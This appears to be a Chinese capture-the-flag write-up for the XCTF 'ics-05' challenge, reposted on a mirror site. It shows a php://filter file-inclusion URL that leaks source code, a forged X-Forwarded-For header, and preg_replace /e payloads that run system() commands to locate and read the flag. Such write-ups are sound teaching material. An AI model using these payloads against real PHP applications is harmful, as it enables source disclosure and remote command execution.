zoukankan      html  css  js  c++  java
  • 【XCTF】ics-05

    信息:

    题目来源:XCTF 4th-CyberEarth

    标签:PHP伪协议

    题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

    解题过程

    题目给了一个工控管理系统,并提示存在后门,遂进行目录扫描:

    ics-051

    发现可疑目录 /index.php/login/,访问后得到一个后台页面:

    ics-052

    出现page这个get参数,猜测可能存在文件包含读取源码的漏洞:

    http://220.249.52.133:48431/index.php/login/?page=php://filter/read=convert.base64-encode/resource=index.php
    

    ics-053

    获得网页源代码(关键部分):

    if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    
        echo "<br >Welcome My Admin ! <br >";
    
        $pattern = $_GET[pat];
        $replacement = $_GET[rep];
        $subject = $_GET[sub];
    
        if (isset($pattern) && isset($replacement) && isset($subject)) {
            preg_replace($pattern, $replacement, $subject);
        }else{
            die();
        }
    }
    

    伪造XFF头来登入系统,同时利用preg_replace函数的漏洞(当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行)

    preg_replace — 执行一个正则表达式的搜索和替换

    • pattern:要搜索的模式。可以使一个字符串或字符串数组
    • replacement:用于替换的字符串或字符串数组
    • subject:要进行搜索和替换的字符串或字符串数组

    构造payload:

    ?pat=/1/e&rep=system("find+-iname+flag")&sub=123
    iname: 忽略大小写
    +:代替空格
    

    ics-054

    pat=/1/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123
    %26%26 == &&
    

    获得flag文件名为flag.php

    ?pat=/1/e&rep=system("cat++./s3chahahaDir/flag/flag.php")&sub=123
    

    获得flag。

  • 相关阅读:
    hdu4738(双连通分量)
    hdu4635(强连通缩点)
    hdu4612(双连通缩点+树的直径)
    poj3177(边双连通分量+缩点)
    poj3694(tarjan缩点+lca)
    hdu5171(矩阵快速幂)
    uva796(求桥数目)
    uva315(求割点数目)
    POJ1058 The Gourmet Club
    POJ1057 FILE MAPPING
  • 原文地址:https://www.cnblogs.com/chalan630/p/13222336.html
Copyright © 2011-2022 走看看